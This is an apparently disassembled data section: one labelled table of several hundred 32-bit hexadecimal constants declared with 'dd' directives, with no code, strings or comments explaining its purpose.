dword_50E448	dd 0A01AC8E3h, 4E10009Fh, 2DB35F0Bh, 724D6120h,	13DB93C0h
		dd 8F9D5BDEh, 0D3F64F91h, 17167FA0h, 6725A102h,	558D0153h
		dd 0AC5B69A5h, 3E11A3B4h, 85AD293Dh, 172123A6h,	2D27F7B0h
		dd 0DF7C7925h, 3E2B527h, 0F2C10EDCh, 0D5F9ABA3h, 0EF892F89h
		dd 2D99A641h, 0E980386Eh, 0AEF86BCAh, 1DA5DB59h, 0AB00C6B7h
		dd 8A0EF61Dh, 916B98FAh, 0B26D27EAh, 98621464h,	0E9622FDCh
		dd 9B692010h, 70007419h, 0F4951B03h, 3D1CC77Fh,	942D0F14h
		dd 89D67662h, 0A471BDF6h, 164766ADh, 52A19529h,	80A0FD78h
		dd 2C7D0FBBh, 907CA471h, 16955AD2h, 5EF5A7F1h, 828FCFDAh
		dd 53FBE380h, 32B72787h, 27C8D49Fh, 17F4645Eh, 0B65873A2h
		dd 22B058AEh, 2F1ED08h,	6B38B311h, 0EF6FFB34h, 0A3C1DD2Fh
		dd 0FB9C6B0Bh, 0AA80B5F5h, 5F176DBBh, 50262598h, 95DE5E20h
		dd 3048F252h, 89012591h, 0EB0DDCD3h, 0A65057FBh, 62D41286h
		dd 0A90425C8h, 9BF95EA3h, 360BCABCh, 2F91B27h, 7764585Fh
		dd 54DEE566h, 223DB27h,	1531BD23h, 0CFB6C60Bh, 9F0DD38h
		dd 295B5750h, 0AF045553h, 1D08A0Ch, 3267D781h, 246B44B7h
		dd 666FBE25h, 0F835DA04h, 194FC1C1h, 66600033h,	5ABF72B8h
		dd 2D44CBF5h, 0D8357B58h, 0F20B5418h, 5148AF71h, 1705001Bh
		dd 45F40B86h, 0DF1E280Bh, 1B77E6Ah, 0B35059EFh,	72B5E281h
		dd 2E79BF82h, 0DCA39A87h, 7E00DE2Fh, 83D3C892h,	4BFB637Dh
		dd 0FE1F239Ch, 0F74B9080h, 0CB27A603h, 9826FB7Dh, 2F9531E8h
		dd 0A548308Dh, 295AB19Dh, 34667DDDh, 89F596F0h,	1449B513h
		dd 2C39E539h, 7D019CA8h, 0AD733D6h, 0FE3A1AABh,	6AAA6D64h
		dd 28D801EEh, 9094953Bh, 4E5D3B60h, 88D2E329h, 0BF16BB2Eh
		dd 2F92B3DFh, 0D0725BC6h, 750587ADh, 0D98A650Ch, 0F6F486ACh
		dd 0E8AAA3C9h, 1270F6A7h, 0B2287B95h, 0D0CC00B4h, 4AF0E38Eh
		dd 3C340116h, 0E9228547h, 0BD853B45h, 0FC009E6Fh, 7F55846Eh
		dd 2AB029BEh, 5DAC2F20h, 5CBC09C1h, 4552DA12h, 23F6430h
		dd 305700F7h, 26D94025h, 335B9C73h, 0E510BFF8h,	0D95F251Dh
		dd 2C420000h, 0A8F3E4BFh, 9C271E7Dh, 4A30707Fh,	0ECEFB941h
		dd 367717B2h, 9C3B8860h, 0B0566900h, 0BE6661DCh, 59460997h
		dd 29528509h, 4DA890F8h, 0C5079AAEh, 43C04D20h,	60496F00h
		dd 2DCCE2B9h, 6A5628B6h, 17AD5CAFh, 0FB14455Bh,	0B8BCED90h
		dd 0F6FA09CCh, 4658564Dh, 0EA6FD028h, 8F45852Dh, 3DCF60CFh
		dd 5B31BE79h, 0C3C39B6Ah, 0F0146E4Ch, 0B2208290h, 2C0390B7h
		dd 419907E9h, 0DAB075A2h, 0B7DB7FDh, 0EC745DD8h, 40CDE60h
		dd 825E4E91h, 0F258903Fh, 0D49B2FE9h, 3792C781h, 3870D4B1h
		dd 0BF0C58B7h, 27BB1AD9h, 398E1081h, 4EFF2D19h,	7F414F6h
		dd 12945FA6h, 7E91E0A7h, 0A54DBD31h, 0B70F0D6Bh, 702658F9h
		dd 0AE7D64F0h, 0B333F205h, 0F8045060h, 58092FB9h, 1F40017Ch
		dd 903FAA3h, 0FDF87125h, 392E66D6h, 29FA5B16h, 0B10736ABh
		dd 313A1F3Eh, 600BBFA3h, 0FF3901A5h, 0A79DB9D1h, 89457531h
		dd 574B9E9Ah, 0B912E137h, 0BBE37900h, 0E8026A0Bh, 0A624124Eh
		dd 1EA8F306h, 0CE40FEC6h, 0D07C3611h, 3F7091Eh,	0CAE42C50h
		dd 0DDA48Ah, 8D709E04h,	8960028h, 2AF7FF0Dh, 0EF14C43Fh
		dd 0C0AD505Fh, 6E90BD2Fh, 5FBBE6D0h, 1FCFA7A2h,	6D655FF9h
		dd 5516C024h, 0FAB7BD01h, 95290BE0h, 0E4962889h, 0EFE9D91Dh
		dd 0C400D1EFh, 6AAB2475h, 0FFCB0515h, 85B2F525h, 0D0B6500h
		dd 0DC408270h, 2E6913Bh, 0BCC08025h, 0C5375502h, 0CFE12601h
		dd 98C036CDh, 6AA82CFFh, 0A7DF3AC5h, 7B65A11h, 0F4AFE0A1h
		dd 26121C99h, 7E23598h,	0B8028600h, 0EC4A469Dh,	0C8B43900h
		dd 0E2636E35h, 1B61241Ch, 37C7002Dh, 0F98A9048h, 57BB5003h
		dd 0CD38356Fh, 0FE042B6h, 0E804A716h, 0B784401Ah, 41A539B0h
		dd 0F3A36A1Ch, 81DF75Eh, 701215BDh, 4D4EE3BFh, 7761C38Dh
		dd 6A0320C5h, 0EDD2C2ECh, 0D09CBD1h, 393DDD27h,	2C0F8000h
		dd 9BFC2DAh, 7C8294F2h,	3211B5D3h, 44B0F516h, 14257511h
		dd 0C0944C18h, 0A26B41F8h, 3D1F04ADh, 0BC903ECEh, 9DFA263Ch
		dd 2371E405h, 0F3D712EFh, 610232BDh, 24B674FCh,	26490969h
		dd 0B7C4A0DEh, 23C1C280h, 2AC927BDh, 92269F79h,	0B6EB0C00h
		dd 73852931h, 0A5E49D21h, 1420525Fh, 7E3528B2h,	2D1E00CEh
		dd 0AD15C591h, 4901B4C8h, 7672E0AAh, 10E72B5Fh,	1330BD48h
		dd 94E2D18Bh, 80DEBD4Ah, 3CDA0E67h, 606EE48Dh, 281EEEC4h
		dd 5B2D695Ah, 3F4F98E9h, 858B178Fh, 0B546939Dh,	13FD0792h
		dd 0DEE23525h, 3CE30Ch,	0B776E22Dh, 7ABF02h, 1C384D28h
		dd 81996497h, 1084EF02h, 745F4B6Dh, 92491BCh, 2BEDBD33h
		dd 1095F434h, 7EB39084h, 0E2612F40h, 763E4CE9h,	8882FBCBh
		dd 0EE7D2DB9h, 0A859B5F2h, 403E79AFh, 9E9ABB66h, 90B6F0C1h
		dd 1D41A583h, 6621FCFEh, 98508008h, 5FD8270Ch, 8026C14Ch
		dd 0F612EDh, 2A2BE079h,	0E77BFAABh, 2A66A4Bh, 0F1D87AF0h
		dd 0D709E724h, 28BF2717h, 1D209D21h, 0DAB91311h, 898EDE07h
		dd 4E7450B8h, 4E89F611h, 41A82DE9h, 9390FC71h, 7310B52Fh
		dd 9D0306EBh, 2B26CB09h, 250844D2h, 0FACD2514h,	403CEDA7h
		dd 582AA6C0h, 48A50E38h, 9F1B0653h, 2FE81E27h, 8D3316Dh
		dd 200A502Fh, 97605B9h,	5C8A7176h, 0D68AE8E2h, 0EE9D5270h
		dd 0D460BC59h, 8262613Eh, 0BD4EF0D7h, 1185400Fh, 0E47BF2Fh
		dd 409B6D6Bh, 766D12AAh, 0B170873h, 0EE41B59Dh,	145D8531h
		dd 77DD382Fh, 1952828Ah, 98044E08h, 7F0E454Dh, 8AF5A099h
		dd 0F7610642h, 0BA75411Ah, 80651FF4h, 0F6E41423h, 0BF7F0607h
		dd 2D28A404h, 0EDB6E1FFh, 2599E8E0h, 0F52F2890h, 22833A33h
		dd 0D4042284h, 6F1DF4A1h, 3E5DB45Ah, 0A7871796h, 0FBBC0B14h
		dd 6B0407E1h, 0DF900EDEh, 0D7E63E00h, 95D1A227h, 84492241h
		dd 4EB0A920h, 3A088A78h, 86A75E95h, 455D88A5h, 0E05D9C26h
		dd 0FDCC220Bh, 31395E02h, 686CD5h, 19E4DD47h, 837732Fh
		dd 0BB1D48BFh, 5D18124Ch, 88F3F10Ah, 250FC5BAh,	179BC1C9h
		dd 20F5B531h, 3485762Bh, 0EE1A0D25h, 0DCD7B4A7h, 0F1D0F50Bh
		dd 1151846Fh, 90C4BF47h, 0BDAF8C0Dh, 78001078h,	43272ED9h
		dd 0C5C93E99h, 0A428A984h, 9001F8B3h, 1FED95BFh, 39285067h
		dd 759E009Ch, 390474CDh, 246E5C00h, 0BC90BBAEh,	8DA3A72h
		dd 31A14EE2h, 0BD0FE7D9h, 7FB31245h, 0F45E508Bh, 90B53243h
		dd 0EFA1BD2h, 9AFB914Bh, 0ED13921Bh, 29EA8C0Fh,	20E42BECh
		dd 69200141h, 0F47834F2h, 0F1C22B8Bh, 59BB1004h, 930CBF48h
		dd 99796087h, 229F3102h, 5A2C0711h, 0A0371958h,	5C2EEC80h
		dd 0CE28D5h, 0CB818E83h, 2F9D2AFEh, 412551B0h, 0E4956D1Ch
		dd 0F4D3601Bh, 8AB3050Dh, 40E4DCEh, 132111B5h, 0BB7C35BFh
		dd 34BC6A17h, 3A6FBED7h, 0C38D341Fh, 299F7D47h,	1B4809B2h
		dd 0E94F3DB3h, 306FA5A1h, 0AFC87E7Bh, 1B00597Eh, 8031B5ABh
		dd 78D1275Ch, 0DA380BA0h, 9E5C0946h, 95F3416Bh,	197909C2h
		dd 3125E1A0h, 0DF6A82E1h, 27FF5EF7h, 0EBD82453h, 2961001Ah
		dd 4FBFDF8Bh, 764B5D1Fh, 3F81D4CCh, 6A92ECE3h, 48B6F369h
		dd 0E4E92515h, 245590B0h, 0C1EE0F6Fh, 2F5BF951h, 5DE47012h
		dd 0CC2AC552h, 957F29Ah, 7B1A35BDh, 6833B038h, 0D60BF1E7h
		dd 79880F1Eh, 183A305Eh, 66FBC9F2h, 368FF0EDh, 41B51889h
		dd 0B18DC70Bh, 21762FEDh
		dd 90FA1688h, 80A0AC53h, 3092F649h, 0AEE00096h,	79FBEEFFh
		dd 5B04A4F2h, 9387BF50h, 6D907782h, 0C682E0D0h,	0B2139190h
		dd 0C1BC84E4h, 0C2909BD5h, 61EDF45Fh, 473795h, 79BC2D8Bh
		dd 1697F87Dh, 0FEFEC9FBh, 55472771h, 51BD7F09h,	84375F09h
		dd 0F256113Fh, 0DA9202AAh, 4038FFA8h, 800AC5E7h, 375AE95Bh
		dd 0A2C975DEh, 1D71979h, 3F23FBBFh, 0F0816662h,	29F6096h
		dd 0BD29FCC7h, 155E2769h, 82049070h, 4F31C30Fh,	0BC093EC4h
		dd 0FCD2A8A1h, 39807459h, 0BEC3F381h, 0EEBD1B86h, 820D7079h
		dd 0ED49EC56h, 9A57E05Fh, 0CE903264h, 229F920h,	673DE781h
		dd 8F5C56C9h, 0E9C80769h, 5A2EDC09h, 2F0AB57Dh,	5662035Ch
		dd 25776101h, 0F2965F01h, 57BF6560h, 18EB6B17h,	5FB433FFh
		dd 9FD696F2h, 4CFD03DCh, 3CA38994h, 0B55FF8FAh,	811A919Ah
		dd 7C3DD53Bh, 0F33A28FCh, 0BA003773h, 8C5D36C0h, 7B07539Fh
		dd 5F41937Eh, 0FF9E9A1Bh, 0F004D287h, 0F98E4699h, 0CDFF384Eh
		dd 24EF3B38h, 258EA320h, 9085E65Bh, 0BDD68CA1h,	56E43290h
		dd 0B7A24500h, 6AA5D88Eh, 0DD5B4BF5h, 0A8787D75h, 0DD1C001Eh
		dd 600846FBh, 11FDE81h,	69268E82h, 0A461D70Bh, 74EE3117h
		dd 3BB4C16Fh, 51F22A2Fh, 370587A8h, 2E4C2F0Ch, 0E10039E2h
		dd 32668192h, 0C70FCA25h, 1E9DB760h, 0CB93C080h, 0F2235F61h
		dd 0E61C4E89h, 12DA5B3Dh, 31CCB980h, 0B9ED1B5h,	0F502E726h
		dd 5E261D19h, 0DE3324B7h, 971FC702h, 7E57F231h,	0BD01605Dh
		dd 5B812255h, 0C2BF342Fh, 94F759F3h, 292B7CABh,	28B30739h
		dd 0BBE109EFh, 7F3142F9h, 0C4086F51h, 0B95F1329h, 0AC11D512h
		dd 599309B6h, 0E90B83D5h, 0DE4076DCh, 7770F51h,	7AE2C96Dh
		dd 2BAED07Dh, 1015B88h,	0DE2CD343h, 8D6050E0h, 786D9B96h
		dd 0BD31F567h, 3415D6EEh, 0E38F8A7Bh, 634F9A9Eh, 98C91F0h
		dd 26F265C2h, 0FFCEA5E8h, 77622DADh, 57D9B5h, 9F31BA41h
		dd 1003CAEh, 546BA3DEh,	5C23D927h, 1379F957h, 0A25F5B37h
		dd 0DB4F890Ah, 964CD830h, 0FB625063h, 6EEFB4AFh, 0BBB000D1h
		dd 67D4F090h, 0ADCF0381h, 6649F213h, 6A7782BCh,	46D6747Ch
		dd 262001Ch, 0E3BC2FFCh, 0A6E0271Eh, 3D5BB110h,	247E521Ch
		dd 0E04E0689h, 9723D103h, 0F329F6B9h, 184505B2h, 25515425h
		dd 0B3BB9C6h, 98CFCBBDh, 0F94E6122h, 0E94A28E7h, 50B5A89Eh
		dd 12C692FDh, 451FCC8h,	31BC1EAh, 8038BB5Bh, 0E1C6036Fh
		dd 0F0A9B67Eh, 0F4F1F513h, 83D7548Fh, 0CB5C8AF9h, 60966D7Ah
		dd 0CBA2D119h, 84B0AE00h, 0E9DCDF80h, 0FFF3383Dh, 152920DFh
		dd 840051C5h, 2D11E7F6h, 0FB6A5Ah, 29392BA5h, 8BD0E6F1h
		dd 8289C14Bh, 25442CD8h, 6EE69248h, 0D85D1095h,	78F200E5h
		dd 608BC312h, 9000737Ah, 18E28784h, 7991623Fh, 1360B7CCh
		dd 82490F50h, 0C6DE8FE9h, 130CE8h, 5B8723D0h, 0EDCEEAE6h
		dd 0DD43CB14h, 0B6C05ECEh, 0EBD2E780h, 0C004DB3Eh, 0EC34C62Eh
		dd 0A0604F83h, 0C2820E5Ch, 8A6F500h, 0BB72EA61h, 0F4FDB04Bh
		dd 82987ABDh, 208997BDh, 570335Bh, 0CD852431h, 0F5C6A54Bh
		dd 79F76400h, 8E91436h,	2E1B2566h, 90F9E8E8h, 65A9F84Bh
		dd 0AA011EE8h, 7C928AFFh, 46A86BECh, 6652DCCh, 97C063D6h
		dd 0F60124h, 0AA3454DAh, 0F935E52Dh, 0AFE91504h, 0F6AB6D30h
		dd 11F110B3h, 0A157C54Fh, 519D7BD8h, 80A88079h,	0B00BE212h
		dd 77BDE2h, 0CA18A786h,	9EDD515Ch, 4D850819h, 71100C5Ch
		dd 0FF9DE92Ah, 917DEBBAh, 0D7D8DAF2h, 7A1916E9h, 49051CC2h
		dd 605BD1FFh, 3A681170h, 695CBC05h, 0B335D204h,	0A24DBC04h
		dd 4950296Ah, 0AF99D73Ch, 4B5AD002h, 0FD30CC43h, 5030FC00h
		dd 0C39D4F3h, 83261369h, 20011266h, 0A6A9A52Ch,	0BAD33112h
		dd 35FE1117h, 0A0ACC842h, 0EFBE8600h, 0A6A8CB54h, 91981802h
		dd 0FC90F253h, 6D4B5DB9h, 26A04082h, 8A4BE9C4h,	0C51019CEh
		dd 0D98B1285h, 0CE00BD6Fh, 8EE952B6h, 7C25BCDAh, 0F8775060h
		dd 0F553287Bh, 99D16B3h, 0FDE2D110h, 0F8AC040Ah, 0A971FBD7h
		dd 50022025h, 9D424455h, 43124FDBh, 0BE9054FEh,	0D2EAB85Bh
		dd 7B7FA6B5h, 98C1004Eh, 92FA3006h, 0DF81028Ch,	3DE4E3E1h
		dd 9C2C85Ch, 8E91548Dh,	0D7359D33h, 4D9FE75Eh, 7537B863h
		dd 7C7B6BA8h, 269E2B08h, 0B561301Bh, 0A699253Dh, 2D239108h
		dd 7B2B1041h, 14228ACAh, 2A8025B1h, 3E12D58Eh, 50B6108Ch
		dd 57493219h, 890A61B0h, 684FF17Ah, 0D7D58C38h,	0A7705EE6h
		dd 0E4D9094Bh, 789A7771h, 0D59CE256h, 0E18B9520h, 0BD7C202h
		dd 2FF2E65Dh, 0E373148Bh, 0BFCA8D83h, 6671F072h, 3FF21D62h
		dd 38A745DCh, 0F9C8096h, 0D297DEB7h, 0B1BD1200h, 29EEE21Ah
		dd 2B8BCF89h, 8608D9C8h, 0D4616050h, 0D780D109h, 0F5DF1A7Bh
		dd 161BAC04h, 0C557A04h, 0E68A6002h, 0B440C17Eh, 0E6EE78DEh
		dd 52833CF2h, 0D81CAB0Bh, 71672FCh, 3DB69AA1h, 0BD345A12h
		dd 0C7AD932Dh, 0C0C41222h, 0A131935h, 8CB55596h, 0FC2336E9h
		dd 0ACC2D1B5h, 42BB601Ah, 814B1C02h, 0AEDEB989h, 2C27282Bh
		dd 83DB05FDh, 0FE220DA5h, 0F57002ECh, 6EC2B55Ch, 0FC920FF7h
		dd 16A192ACh, 0B223F67Bh, 50704C14h, 890D8FBFh,	0C207E9B9h
		dd 0EDE8F7Ch, 78F8466Bh, 0C800AA4Bh, 9724D381h,	96855B4Bh
		dd 41B9B0B9h, 6F05BD6Ah, 4F804950h, 9FFC76E0h, 2E0011B7h
		dd 0EE1A5643h, 0EF613128h, 94D54h, 372BFD8Ah, 0F90260C0h
		dd 6793D518h, 41A2F701h, 559E36Dh, 0B79D0BFCh, 0BAEEBCF2h
		dd 4AF8789Bh, 5D990470h, 0AF794085h, 3D2B6B8Dh,	85E247FCh
		dd 0B58CAFEAh, 0C3F00332h, 0F255D9A1h, 0F035E6DDh, 25BE553Dh
		dd 1E4B13Ch, 0C1044DB5h, 203D3CEAh, 215E61BBh, 12292C9Ch
		dd 0BD327185h, 2912D3D8h, 16ECD9B2h, 0F984148Ch, 5112B2A6h
		dd 88D0E325h, 1759A457h, 601C2814h, 66EF38h, 0B84A2A68h
		dd 97982215h, 0C2F106F2h, 823ABDF7h, 0CBC6FF96h, 3412675Ch
		dd 0BB00EFE7h, 37A8B068h, 26C4E1FFh, 0B0B830FDh, 2F0445E1h
		dd 14820C9Eh, 0ACC0C0DFh, 1C97077Dh, 0F22F43ABh, 0EDF83318h
		dd 0FC58644Ch, 0C5D92525h, 2DC91D9Fh, 2740DFCFh, 2589D82h
		dd 0DFD6715Bh, 895CF560h, 62CAD427h, 8C5C76B3h,	2F40332Eh
		dd 4E5D58h, 577D4FAFh, 446FF16h, 0E7BF3302h, 5D5BE80Fh
		dd 63F57FE4h, 11F1125Dh, 0CC4A9EE7h, 7201ADD1h,	12264681h
		dd 342E65D1h, 797881A6h, 0B3500129h, 5321A42Ah,	21274197h
		dd 0EF755F02h, 9D54047h, 3C1DE9B0h, 97CC5AAh, 0D58F0F24h
		dd 7C8C8E30h, 0C7236800h, 2DBB932Fh, 77E53F6Bh,	3CDC8E60h
		dd 294C6CEFh, 79122582h, 52EC620Eh, 108DC932h, 22FE900h
		dd 40554F95h, 0F7BEDE42h, 8112A31Dh, 0EFB2A402h, 69C25676h
		dd 4ADCB054h, 0BED5D442h, 2380199Eh, 1E017CBDh,	21FB7609h
		dd 0D6A75C57h, 9C021846h, 0E4CAB0D4h, 0F859A484h, 9698571h
		dd 0F27B75EEh, 2DED03D2h, 10D5D89Eh, 480A252Ch,	0B8A64A41h
		dd 0BA326DF0h, 0BDE1840Bh, 0D664DCA2h, 0D8251446h, 6D753BC2h
		dd 0B3B0C006h, 6F0029DFh, 0D7CE3498h, 750967Fh,	7E6D47BBh
		dd 8DE27F11h, 16570681h, 0D446B693h, 6E6C5B01h,	317D6F74h
		dd 7147BE3Eh, 0A3908768h, 5E525069h, 5B3B8C51h,	1A8B0AD4h
		dd 5612957Bh, 7E78028Bh, 0B7F769BCh, 0BA382701h, 8D2FA223h
		dd 0C07FCF85h, 5EFECEFDh, 0ED79CC0Eh, 0ABE4F23Ch, 3B350BBFh
		dd 6B410BC3h, 189C3A10h
		dd 0B6BB06F4h, 0EED92B85h, 5FAE7404h, 94EC0990h, 5F26CB4Bh
		dd 99818DDAh, 0F8F7C988h, 0FA2DC235h, 0D16E020Ch, 61030901h
		dd 61B2E6D7h, 0A6702FDBh, 0FBA90350h, 607296B2h, 0C9956008h
		dd 0F28B8431h, 4FCC261h, 8DBA432Fh, 0B481DCD5h,	9F7B24DDh
		dd 0C018C85Fh, 0DCFAF2FFh, 0EBDE1362h, 6016F7B9h, 8C7B3345h
		dd 0DF09800Bh, 7B40E91Fh, 0FAE7D903h, 65F77E7Dh, 696BEEDAh
		dd 6D301DE2h, 73400AFh,	0FFC6BBE4h, 10991B6h, 71127D95h
		dd 535DC4D3h, 10D17A04h, 4AE1CAB8h, 0E8132D04h,	0BBD60135h
		dd 0B2DABCB8h, 7E60D866h, 0ECCB2EBEh, 9721F8F1h, 35BDF016h
		dd 2BE00E6h, 0EBE82EC0h, 763290Bh, 3129C12Dh, 5080F72Eh
		dd 0F601A8FEh, 0B09BC781h, 742E0BF2h, 4A7F3FF4h, 0F196BBE9h
		dd 60FF305Ah, 6924CC0Bh, 15C496h, 3AD3B1A7h, 3C9EA90Dh
		dd 98941128h, 5B5C547Ah, 967E12ADh, 841D605h, 868FD1F2h
		dd 8D314B38h, 5800A14Bh, 0D92844BBh, 99189778h,	0EC95EF80h
		dd 85311772h, 0ADB584FDh, 8C15AC90h, 0C6ED4525h, 57BB827Bh
		dd 739744D8h, 181C5944h, 0AE9100B4h, 2DEBFC5Eh,	909DA59Ch
		dd 0F5189Eh, 0CB5798E8h, 905E7ACDh, 0CB3D993Ch,	46807584h
		dd 97AFD7EFh, 24D5109h,	9E2399C0h, 507B6376h, 92BC7ED3h
		dd 965701A3h, 0D4E69E0Dh, 6DF47300h, 25277018h,	2D8D3489h
		dd 8034BE5Dh, 0C5509FBh, 5DA57C73h, 0AA03D5B7h,	0B912A469h
		dd 46ACD7E5h, 1BF50918h, 0A1993814h, 0A7090281h, 42A7665h
		dd 0B95BFE21h, 8C1AACA0h, 6EE7AD01h, 0E3A099BDh, 48FA9D20h
		dd 820230Bh, 0E8CB8026h, 91E7BB02h, 0C207C29Ah,	8FB73750h
		dd 72E132FFh, 5503AFF2h, 0F0A2B674h, 9D26CAFAh,	81A694D1h
		dd 13617502h, 68905C38h, 9D33C1E7h, 2BC435F1h, 0B3636528h
		dd 2DA4F0C7h, 0E7872F12h, 0B93973BBh, 0D55009CCh, 0B7FD5512h
		dd 0C0A049Ch, 6820FB90h, 3FEDDDC6h, 0F2800B58h,	0CA50F18Bh
		dd 94E7184h, 1ADDEBDDh,	4E3DCB2Bh, 0E0AE06Ah, 0A4301371h
		dd 0E201F433h, 8EC61873h, 45C50F79h, 6F39DD2Bh,	9C00626Ah
		dd 58B89790h, 89BD556Ch, 469F59CEh, 0F3BF3262h,	0C46A7973h
		dd 0E312BAABh, 0C8B8CF7Ch, 0B0A9AD2Ah, 11BD2F08h, 4D6BF559h
		dd 0DB5940A1h, 0C5173FB1h, 0E32CC6F3h, 8FD24BD7h, 6ADA4BA0h
		dd 83750C81h, 18F12ABFh, 97775239h, 526DA009h, 0CD0E30C0h
		dd 8BB71CFFh, 6017C0C1h, 2440E5B8h, 34A32FEDh, 92E19D40h
		dd 8D614BDAh, 2A9DE9B4h, 0B7502442h, 48078F1h, 274A0CBBh
		dd 0A5A4C80Dh, 39F3335Ah, 0BD41453Bh, 0B0941F4Eh, 0C18BCDADh
		dd 0C8A05456h, 6F04941Ah, 15F3801Dh, 6A6769B8h,	0D124D825h
		dd 8084BB02h, 3907550h,	0A3F2BED1h, 867A650Eh, 0A7807D30h
		dd 210CF12Fh, 8B600242h, 905BF98Ah, 0AA406576h,	0E87EE086h
		dd 0F6C8005Fh, 94FC4103h, 0D90416F9h, 4BEECFACh, 864BA9B8h
		dd 803A0A2Dh, 7594E2C3h, 0B894D708h, 5840BF12h,	0AC4C35E3h
		dd 621E110h, 0CB19D03h,	30D16239h, 0CE56E2DEh, 60134B51h
		dd 1986BBE4h, 0FCD87284h, 0FB74BA99h, 0A8FB7A30h, 7F6057D8h
		dd 20013429h, 0A504EC1Fh, 3EA048A6h, 0F25F610h,	0FA449088h
		dd 0CE964AE9h, 947410AFh, 95193E50h, 0CD8130D3h, 0E78C4520h
		dd 2956AE8Eh, 4B932860h, 0EE1ABBA8h, 71B8F152h,	21F001A7h
		dd 3F48013Eh, 15FFA635h, 5B25A274h, 1C59A35Bh, 8C012518h
		dd 0E4D183C7h, 308BB3DDh, 0CBF9E9B5h, 0CA808214h, 86B3B9D8h
		dd 0C1ACA439h, 0E99AEAE4h, 93553081h, 0B8652BE6h, 0DFDD72EFh
		dd 0DBE9B556h, 0FCCB500Ch, 37FF6A2Dh, 33BF0520h, 0FCC5AEBDh
		dd 529A598h, 7F03F499h,	8608AF1Ch, 0B67A62Fh, 3DF71155h
		dd 0F66E0001h, 3C699259h, 0C2882A5Ah, 832F1EA9h, 648F0039h
		dd 2B4047D1h, 285F4A00h, 51DB7AF8h, 0D7854A01h,	8BFECB41h
		dd 73FB2109h, 411C1117h, 2BB0F9B2h, 420032F3h, 0ADAB336Ah
		dd 2EE5D68Eh, 0C8DC43C0h, 70E62E5Fh, 30F7691Ah,	11A91D8h
		dd 82D6AA2Fh, 2071E4B6h, 388B0463h, 92CB3088h, 0BF10DB19h
		dd 1C0097FBh, 1EC18D89h, 0FCFD6C95h, 886938Fh, 3262699h
		dd 9F51031h, 96D7BC2Eh,	5A637EB9h, 0F83289F8h, 41D1331Ch
		dd 0D7FA1D76h, 0E10477B2h, 16A9B2E5h, 75D83041h, 0D70C04DFh
		dd 0AC5B88BDh, 0EF800BFFh, 90845EB2h, 71C1968Eh, 482E9C70h
		dd 81A41301h, 8621290Ah, 0E9C95703h, 811B0158h,	509978D7h
		dd 3EF37A40h, 2FC12A61h, 0FD172BF8h, 8BCCE1ECh,	16A1A516h
		dd 53882BFEh, 79430047h, 1737186Ah, 3902BEC8h, 1F562E46h
		dd 1E6576Ch, 8C24A95h, 0E9087B94h, 40B18007h, 6D1D20F5h
		dd 1F98A74Bh, 6EDC9771h, 0A2A95D25h, 4EF48074h,	92F6B87Fh
		dd 0AA4A9BA3h, 19BD6730h, 1DB98028h, 0D8BD094Ah, 0A600A7E8h
		dd 0B973D957h, 0A10D90D2h, 60130BAEh, 14CDD610h, 12F2801Dh
		dd 0C636E161h, 3DC19FCh, 0FDCEFA74h, 0E2103E52h, 11511F79h
		dd 9CB1E58h, 0C02BA569h, 30DC3676h, 0EF48850Ch,	997BCC2h
		dd 0D0BD5B1Dh, 0F30CB093h, 0B650CAB4h, 9E314BF9h, 0DE8B121Ch
		dd 9B5A5F0h, 880D61FBh,	84A0BDDFh, 0A83143A5h, 8AD927Ch
		dd 978C16ACh, 0B324ED58h, 31097B8Eh, 0A7117328h, 3300F1C4h
		dd 0A2F1ADF4h, 1E3832ABh, 0BC1753FBh, 0A457CB82h, 265C4830h
		dd 0E96AC456h, 697AAA08h, 161E2100h, 0BD8986A0h, 0C70FC125h
		dd 0C5292D2Eh, 0FADB77Dh, 1BE1A1B4h, 0FD66BBC4h, 92092FD3h
		dd 0C0225C0Eh, 5E4521BFh, 1E8C674Bh, 0CDDB1280h, 0B29412FFh
		dd 3E48417h, 0EBA096B7h, 2F029A38h, 934A072Ah, 120DCC56h
		dd 498D9D31h, 24715BD8h, 0B77CC146h, 0FF7ACD53h, 0D7B79490h
		dd 3D57BF04h, 28B874BAh, 356BD8A7h, 0E679828Bh,	0CA752928h
		dd 95EC78CEh, 12F43856h, 0ACCCBC4Ah, 123D84CBh,	4292D62h
		dd 13B81178h, 23BB6B5Fh, 49390019h, 98E6A9E5h, 9089562Eh
		dd 5F252210h, 0D19548C6h, 0B540086h, 0C5F57F72h, 9698710Bh
		dd 996783B8h, 259DA09Ch, 6D262C6Bh, 2D0E60C9h, 0E64A4641h
		dd 5B095FB3h, 2169905Fh, 0DF256A61h, 7B32CDEEh,	665546E4h
		dd 2611126h, 40AC6FB5h,	5BE710B5h, 6941060Eh, 8F686001h
		dd 0B02B34B6h, 0DFDD25FCh, 0B570CB40h, 0ECE6EEF5h, 1B7B1E01h
		dd 0CA63D6EDh, 1F3AFCh,	921951E0h, 600E8429h, 0FA8D312Dh
		dd 88E87959h, 0D4099FB7h, 0D514D235h, 5E12354Ch, 6BEE5B61h
		dd 2182312h, 0E00C7A2Bh, 0F31684DCh, 1C8C9B9h, 83E9F986h
		dd 258DF40Fh, 5D5B2131h, 0C4FE25BBh, 0A1D39D81h, 0DD3978h
		dd 1F48A7B6h, 41868D2Eh, 0ED821297h, 3EC0E0BBh,	38138892h
		dd 12F0AA91h, 7E3B972Fh, 9D1210E6h, 96390A99h, 5AF96A2Ah
		dd 81C0C8F8h, 0ACB10CE7h, 5C84304Bh, 74E088F6h,	0B402330Dh
		dd 0E05BB98Ah, 8C7957FDh, 13C38100h, 4F59763Fh,	0B7AE896h
		dd 0D6A811BEh, 0FA5B9E3Eh, 0DBCEDABFh, 0A5908282h, 40697612h
		dd 92F0FBF7h, 1A8D7A03h, 0CD025B33h, 0C2DB204h,	93025F09h
		dd 0CE7DDC80h, 813571BDh, 0DD93CD68h, 53A4246Dh, 0DF2A903Bh
		dd 0ECA0D516h, 8C464B2Fh, 57095052h, 0C25BDA8Ah, 2A907F63h
		dd 8E004D4Eh, 0E68112B6h, 3AD2CF60h, 5389BAD6h,	0B575032Ah
		dd 84149174h, 0B0B16126h, 24D42D2Ah, 1C95348Ah,	2780F9E4h
		dd 8ECACB81h, 0E9387A99h, 6DBF7044h, 0CCA7E04Dh, 0DA4A2B70h
		dd 0BBF300ABh, 440737A1h, 72B69D95h, 0D8411DD4h, 29E8CA91h
		dd 8E7B0143h, 0B24DAAD4h
		dd 6B0FF588h, 4D80F1DBh, 0BDE674D7h, 1A5CF6F0h,	0DE510B3h
		dd 14D4BB02h, 0CD562887h, 37156E51h, 0A702B077h, 0D8033A94h
		dd 37E61EB1h, 0C687DAA5h, 0DE349553h, 91FEB5BDh, 1DCA8015h
